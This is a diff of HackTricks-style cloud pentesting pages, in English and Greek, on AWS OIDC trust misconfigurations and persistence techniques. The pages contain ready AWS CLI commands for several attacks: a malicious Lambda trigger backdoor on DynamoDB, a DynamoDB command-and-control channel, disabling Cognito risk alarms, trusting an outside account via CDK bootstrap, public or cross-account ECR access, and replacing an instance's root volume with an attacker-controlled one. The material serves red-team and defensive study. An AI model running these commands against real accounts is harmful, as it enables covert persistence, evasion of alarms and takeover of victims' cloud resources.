"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": [
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
],
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
6. Σημειώστε στην προηγούμενη πολιτική πώς μόνο μια **κλάδος** από **αποθετήριο** μιας **οργάνωσης** είχε εξουσιοδοτηθεί με μια συγκεκριμένη **ενεργοποίηση**.
7. Το **ARN** του **ρόλου** που η δράση github θα μπορεί να **παριστάνει** θα είναι το "μυστικό" που χρειάζεται να γνωρίζει η δράση github, οπότε **αποθηκεύστε** το μέσα σε ένα **μυστικό** σε ένα **περιβάλλον**.
8. Τέλος, χρησιμοποιήστε μια δράση github για να ρυθμίσετε τα AWS creds που θα χρησιμοποιηθούν από τη ροή εργασίας:
```yaml
name: "test AWS Access"
# The workflow should only trigger on pull requests to the main branch
on:
pull_request:
branches:
- main
pull_request:
branches:
- main
# Required to get the ID Token that will be used for OIDC
permissions:
id-token: write
contents: read # needed for private repos to checkout
id-token: write
contents: read # needed for private repos to checkout
jobs:
aws:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
aws:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
aws-region: eu-west-1
role-to-assume:${{ secrets.READ_ROLE }}
role-session-name: OIDCSession
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
aws-region: eu-west-1
role-to-assume:${{ secrets.READ_ROLE }}
role-session-name: OIDCSession
- run: aws sts get-caller-identity
shell: bash
- run: aws sts get-caller-identity
shell: bash
```
## OIDC - EKS Κατάχρηση
## OIDC - EKS Abuse
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -88,34 +91,43 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
Είναι δυνατόν να δημιουργηθούν **OIDC providers** σε ένα **EKS** cluster απλά ρυθμίζοντας το **OIDC URL** του cluster ως **νέο Open ID Identity provider**. Αυτή είναι μια κοινή προεπιλεγμένη πολιτική:
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
}
}
}
]
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
}
}
}
]
}
```
Αυτή η πολιτική υποδεικνύει σωστά ότι **μόνο** το **EKS cluster** με **id** `20C159CDF6F2349B68846BEC03BE031B` μπορεί να αναλάβει τον ρόλο. Ωστόσο, δεν υποδεικνύει ποιος λογαριασμός υπηρεσίας μπορεί να τον αναλάβει, πράγμα που σημαίνει ότι **ΟΠΟΙΟΣΔΗΠΟΤΕ λογαριασμός υπηρεσίας με ένα web identity token** θα είναι **σε θέση να αναλάβει** τον ρόλο.
Για να προσδιοριστεί **ποιος λογαριασμός υπηρεσίας θα πρέπει να μπορεί να αναλάβει τον ρόλο,** είναι απαραίτητο να προσδιοριστεί μια **συνθήκη** όπου το **όνομα του λογαριασμού υπηρεσίας είναι καθορισμένο**, όπως:
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
## Αναφορές
## References
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,16 +2,20 @@
{{#include ../../banners/hacktricks-training.md}}
Αυτές είναι οι άδειες που χρειάζεστε σε κάθε λογαριασμό AWS που θέλετε να ελέγξετε για να μπορέσετε να εκτελέσετε όλα τα προτεινόμενα εργαλεία ελέγχου AWS:
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
- Η προεπιλεγμένη πολιτική **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- Για να εκτελέσετε [aws_iam_review](https://github.com/carlospolop/aws_iam_review) χρειάζεστε επίσης τις άδειες:
- **access-analyzer:List\***
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
- Προαιρετικό αν ο πελάτης δημιουργεί τους αναλυτές για εσάς, αλλά συνήθως είναι πιο εύκολο απλώς να ζητήσετε αυτήν την άδεια)
- **access-analyzer:DeleteAnalyzer**
- Προαιρετικό αν ο πελάτης αφαιρεί τους αναλυτές για εσάς, αλλά συνήθως είναι πιο εύκολο απλώς να ζητήσετε αυτήν την άδεια)
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
- **access-analyzer:List\***
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
- **access-analyzer:DeleteAnalyzer**
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,3 +1,5 @@
# AWS - Persistence
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,36 @@
# AWS - API Gateway Persistence
{{#include ../../../banners/hacktricks-training.md}}
## API Gateway
For more information go to:
{{#ref}}
../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Resource Policy
Modify the resource policy of the API gateway(s) to grant yourself access to them
### Modify Lambda Authorizers
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
Or just remove the use of the authorizer.
### IAM Permissions
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
Or just remove the use of the authorizer.
### API Keys
If API keys are used, you could leak them to maintain persistence or even create new ones.\
Or just remove the use of API keys.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,32 +0,0 @@
# AWS - API Gateway Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## API Gateway
Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../../aws-services/aws-api-gateway-enum.md
{{#endref}}
### Resource Policy
Τροποποιήστε την resource policy των API gateway(s) για να αποκτήσετε πρόσβαση σε αυτά
### Τροποποιήστε τους Lambda Authorizers
Τροποποιήστε τον κώδικα των lambda authorizers για να δώσετε στον εαυτό σας πρόσβαση σε όλα τα endpoints.\
Ή απλώς καταργήστε τη χρήση του authorizer.
### IAM Permissions
Εάν ένας resource χρησιμοποιεί IAM authorizer μπορείτε να δώσετε στον εαυτό σας πρόσβαση σε αυτό τροποποιώντας τα IAM permissions.\
Ή απλώς καταργήστε τη χρήση του authorizer.
### API Keys
Εάν χρησιμοποιούνται API keys, μπορείτε να leak αυτά για να διατηρήσετε persistence ή ακόμα και να δημιουργήσετε νέα.\
Ή απλώς καταργήστε τη χρήση των API keys.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,18 +1,19 @@
# AWS - Cloudformation Persistence
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
Για περισσότερες πληροφορίες, δείτε:
For more information, access:
{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
@@ -20,4 +21,5 @@ cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,46 @@
# AWS - Cognito Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Cognito
For more information, access:
{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}
### User persistence
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
- **Adding a User Pool** controlled by the user to an Identity Pool
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
- Or to an **authenticated Identity Pool** if the attacker can login
- Or **improve the permissions** of the given roles
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
Check how to do these actions in
{{#ref}}
../aws-privilege-escalation/aws-cognito-privesc.md
{{#endref}}
### `cognito-idp:SetRiskConfiguration`
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
By default this is disabled:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,40 +0,0 @@
# AWS - Cognito Διατήρηση
{{#include ../../../../banners/hacktricks-training.md}}
## Cognito
Για περισσότερες πληροφορίες, δείτε:
{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}
### Διατήρηση χρηστών
Cognito είναι μια υπηρεσία που επιτρέπει να ανατίθενται roles σε unauthenticated και authenticated users και να ελέγχεται ένας κατάλογος χρηστών. Πολλές διαφορετικές ρυθμίσεις μπορούν να τροποποιηθούν για να διατηρηθεί κάποια persistence, όπως:
- **Adding a User Pool** ελεγχόμενο από τον χρήστη σε ένα Identity Pool
- Δώστε ένα **IAM role** σε ένα unauthenticated Identity Pool και επιτρέψτε Basic auth flow
- Ή σε ένα **authenticated Identity Pool** αν ο attacker μπορεί να κάνει login
- Ή **βελτιώστε τα permissions** των δοθέντων roles
- **Create, verify & privesc** μέσω attributes σε ελεγχόμενους χρήστες ή νέους χρήστες σε ένα **User Pool**
- **Allowing external Identity Providers** να κάνουν login σε ένα User Pool ή σε ένα Identity Pool
Δείτε πώς να πραγματοποιήσετε αυτές τις ενέργειες στο
{{#ref}}
../../aws-privilege-escalation/aws-cognito-privesc/README.md
{{#endref}}
### `cognito-idp:SetRiskConfiguration`
Ένας attacker με αυτό το privilege θα μπορούσε να τροποποιήσει τη risk configuration ώστε να μπορεί να κάνει login ως χρήστης Cognito **χωρίς να ενεργοποιούνται alarms**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) για να δείτε όλες τις επιλογές:
```bash
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
Από προεπιλογή αυτό είναι απενεργοποιημένο:
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,67 @@
# AWS - DynamoDB Persistence
{{#include ../../../banners/hacktricks-training.md}}
### DynamoDB
For more information access:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
### DynamoDB Triggers with Lambda Backdoor
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
```bash
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
```
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
### DynamoDB as a C2 Channel
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
```
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,59 +0,0 @@
# AWS - DynamoDB Persistence
{{#include ../../../../banners/hacktricks-training.md}}
### DynamoDB
Για περισσότερες πληροφορίες, δείτε:
{{#ref}}
../../aws-services/aws-dynamodb-enum.md
{{#endref}}
### DynamoDB Triggers with Lambda Backdoor
Χρησιμοποιώντας τα DynamoDB triggers, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα **stealthy backdoor** συνδέοντας μια κακόβουλη Lambda function με έναν πίνακα. Η Lambda function μπορεί να ενεργοποιηθεί όταν ένα αντικείμενο προστεθεί, τροποποιηθεί ή διαγραφεί, επιτρέποντας στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα εντός του AWS account.
```bash
# Create a malicious Lambda function
aws lambda create-function \
--function-name MaliciousFunction \
--runtime nodejs14.x \
--role <LAMBDA_ROLE_ARN> \
--handler index.handler \
--zip-file fileb://malicious_function.zip \
--region <region>
# Associate the Lambda function with the DynamoDB table as a trigger
aws dynamodbstreams describe-stream \
--table-name TargetTable \
--region <region>
# Note the "StreamArn" from the output
aws lambda create-event-source-mapping \
--function-name MaliciousFunction \
--event-source <STREAM_ARN> \
--region <region>
```
Για να διατηρήσει persistence, ο επιτιθέμενος μπορεί να δημιουργήσει ή να τροποποιήσει items στον πίνακα DynamoDB, κάτι που θα ενεργοποιήσει την κακόβουλη Lambda function. Αυτό επιτρέπει στον επιτιθέμενο να εκτελέσει code εντός του AWS account χωρίς άμεση αλληλεπίδραση με τη Lambda function.
### DynamoDB ως C2 Channel
Ένας επιτιθέμενος μπορεί να χρησιμοποιήσει έναν πίνακα DynamoDB ως **command and control (C2) channel** δημιουργώντας items που περιέχουν commands και χρησιμοποιώντας compromised instances ή Lambda functions για να ανακτήσουν και να εκτελέσουν αυτά τα commands.
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
--table-name C2Table \
--attribute-definitions AttributeName=CommandId,AttributeType=S \
--key-schema AttributeName=CommandId,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--region <region>
# Insert a command into the table
aws dynamodb put-item \
--table-name C2Table \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region <region>
```
Οι compromised instances ή Lambda functions μπορούν περιοδικά να ελέγχουν τον C2 table για νέες εντολές, να τις εκτελούν και προαιρετικά να αναφέρουν τα αποτελέσματα πίσω στον C2 table. Αυτό επιτρέπει στον attacker να διατηρεί persistence και έλεγχο επί των compromised resources.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,58 @@
# AWS - EC2 Persistence
{{#include ../../../banners/hacktricks-training.md}}
## EC2
For more information check:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Security Group Connection Tracking Persistence
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### EC2 Lifecycle Manager
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
### Scheduled Instances
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
### Spot Fleet Request
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
### Backdoor Instances
An attacker could get access to the instances and backdoor them:
- Using a traditional **rootkit** for example
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
- Backdooring the **User Data**
### **Backdoor Launch Configuration**
- Backdoor the used AMI
- Backdoor the User Data
- Backdoor the Key Pair
### VPN
Create a VPN so the attacker will be able to connect directly through i to the VPC.
### VPC Peering
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,62 +0,0 @@
# AWS - EC2 Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## EC2
Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Security Group Connection Tracking Persistence
Αν ένας αμυνόμενος διαπιστώσει ότι μια **EC2 instance έχει παραβιαστεί**, πιθανότατα θα προσπαθήσει να **απομονώσει** το **network** της μηχανής. Μπορεί να το κάνει με ένα ρητό **Deny NACL** (αλλά τα NACLs επηρεάζουν ολόκληρο το subnet), ή **αλλάζοντας το security group** ώστε να μην επιτρέπει **κανένα είδος inbound ή outbound** traffic.
Αν ο επιτιθέμενος είχε ένα **reverse shell originated from the machine**, ακόμα και αν το SG τροποποιηθεί ώστε να μην επιτρέπει inbound ή outbound traffic, η **σύνδεση δεν θα τερματιστεί λόγω** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### EC2 Lifecycle Manager
Αυτό το service επιτρέπει να **προγραμματίσετε** τη **δημιουργία AMIs και snapshots** και ακόμη και να **τα μοιράσετε με άλλους λογαριασμούς**.\
Ένας επιτιθέμενος θα μπορούσε να ρυθμίσει τη **δημιουργία AMIs ή snapshots** όλων των images ή όλων των volumes **κάθε εβδομάδα** και να **τα μοιράζεται με τον λογαριασμό του**.
### Scheduled Instances
Είναι δυνατόν να προγραμματίσετε instances να τρέχουν καθημερινά, εβδομαδιαία ή ακόμα και μηνιαία. Ένας επιτιθέμενος θα μπορούσε να τρέξει μια μηχανή με υψηλά προνόμια ή ενδιαφέροντα access όπου θα μπορούσε να εισέλθει.
### Spot Fleet Request
Οι Spot instances είναι **φθηνότερες** από τις κανονικές instances. Ένας επιτιθέμενος θα μπορούσε να ξεκινήσει ένα **μικρό spot fleet request για 5 χρόνια** (για παράδειγμα), με **αυτόματη ανάθεση IP** και ένα **user data** που στέλνει στον επιτιθέμενο **όταν το spot instance ξεκινήσει** την **IP address** και με ένα **υψηλά προνομιούχο IAM role**.
### Backdoor Instances
Ένας επιτιθέμενος θα μπορούσε να αποκτήσει πρόσβαση στις instances και να τις backdoor-άρει:
- Χρησιμοποιώντας για παράδειγμα ένα παραδοσιακό **rootkit**
- Προσθέτοντας ένα νέο **public SSH key** (βλ. [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
- Backdooring το **User Data**
### **Backdoor Launch Configuration**
- Backdoor the used AMI
- Backdoor the User Data
- Backdoor the Key Pair
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
Αντικαταστήστε το root EBS volume μιας τρέχουσας instance με ένα που έχει δημιουργηθεί από ένα AMI ή snapshot υπό έλεγχο του επιτιθέμενου χρησιμοποιώντας `CreateReplaceRootVolumeTask`. Η instance διατηρεί τα ENIs, IPs, και το role της, εκκινώντας ουσιαστικά σε κακόβουλο κώδικα ενώ φαίνεται αμετάβλητη.
{{#ref}}
../aws-ec2-replace-root-volume-persistence/README.md
{{#endref}}
### VPN
Δημιουργήστε ένα VPN ώστε ο επιτιθέμενος να μπορεί να συνδεθεί απευθείας στο VPC.
### VPC Peering
Δημιουργήστε μια peering σύνδεση μεταξύ του θυματικού VPC και του attacker VPC ώστε να μπορεί να αποκτήσει πρόσβαση στο victim VPC.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,75 +0,0 @@
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
{{#include ../../../../banners/hacktricks-training.md}}
Κατάχρηση του **ec2:CreateReplaceRootVolumeTask** για να αντικατασταθεί ο root EBS δίσκος μιας τρέχουσας instance με έναν που επαναφέρεται από AMI ή snapshot υπό έλεγχο του επιτιθέμενου. Η instance επανεκκινείται αυτόματα και επανέρχεται με το root filesystem που ελέγχει ο επιτιθέμενος, ενώ διατηρούνται οι ENIs, οι ιδιωτικές/δημόσιες IP, οι συνδεδεμένοι μη-root όγκοι και τα metadata της instance/IAM role.
## Απαιτήσεις
- Η στοχευόμενη instance είναι EBS-backed και τρέχει στην ίδια region.
- Συμβατό AMI ή snapshot: ίδια αρχιτεκτονική/virtualization/boot mode (και product codes, αν υπάρχουν) με τη στοχευόμενη instance.
## Προ-ελέγχοι
```bash
REGION=us-east-1
INSTANCE_ID=<victim instance>
# Ensure EBS-backed
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
# Capture current network and root volume
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
```
## Αντικατάσταση root από AMI (προτιμότερο)
```bash
IMAGE_ID=<attacker-controlled compatible AMI>
# Start task
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
# Poll until state == succeeded
while true; do
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
done
```
Εναλλακτική με χρήση ενός snapshot:
```bash
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
```
## Αποδεικτικά στοιχεία / Επαλήθευση
```bash
# Instance auto-reboots; network identity is preserved
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
# Compare before vs after
printf "ENI:%s IP:%s
ORIG_VOL:%s
NEW_VOL:%s
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
# (Optional) Inspect task details and console output
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
```
Αναμενόμενο: ENI_ID και PRI_IP παραμένουν τα ίδια· το ID του root volume αλλάζει από $ORIG_VOL σε $NEW_VOL. Το σύστημα εκκινεί με το σύστημα αρχείων από το attacker-controlled AMI/snapshot.
## Σημειώσεις
- Η API δεν απαιτεί να σταματήσετε χειροκίνητα το instance· το EC2 οργανώνει την επανεκκίνηση.
- Από προεπιλογή, ο αντικατασταθείς (παλιός) root EBS volume αποσυνδέεται και παραμένει στον λογαριασμό (DeleteReplacedRootVolume=false). Αυτό μπορεί να χρησιμοποιηθεί για επαναφορά ή πρέπει να διαγραφεί για να αποφευχθούν χρεώσεις.
## Επαναφορά / Καθαρισμός
```bash
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
# you can create a snapshot and replace again from it:
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
# Or simply delete the detached old root volume if not needed:
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,101 @@
# AWS - ECR Persistence
{{#include ../../../banners/hacktricks-training.md}}
## ECR
For more information check:
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
### Hidden Docker Image with Malicious Code
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
### Repository Policy
Add a policy to a single repository granting yourself (or everybody) access to a repository:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
### Registry Policy & Cross-account Replication
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
First, you need to give the external account access over the registry with a **registry policy** like:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
Then apply the replication config:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,145 +0,0 @@
# AWS - ECR Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## ECR
Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../../aws-services/aws-ecr-enum.md
{{#endref}}
### Κρυμμένη Docker Image με Malicious Code
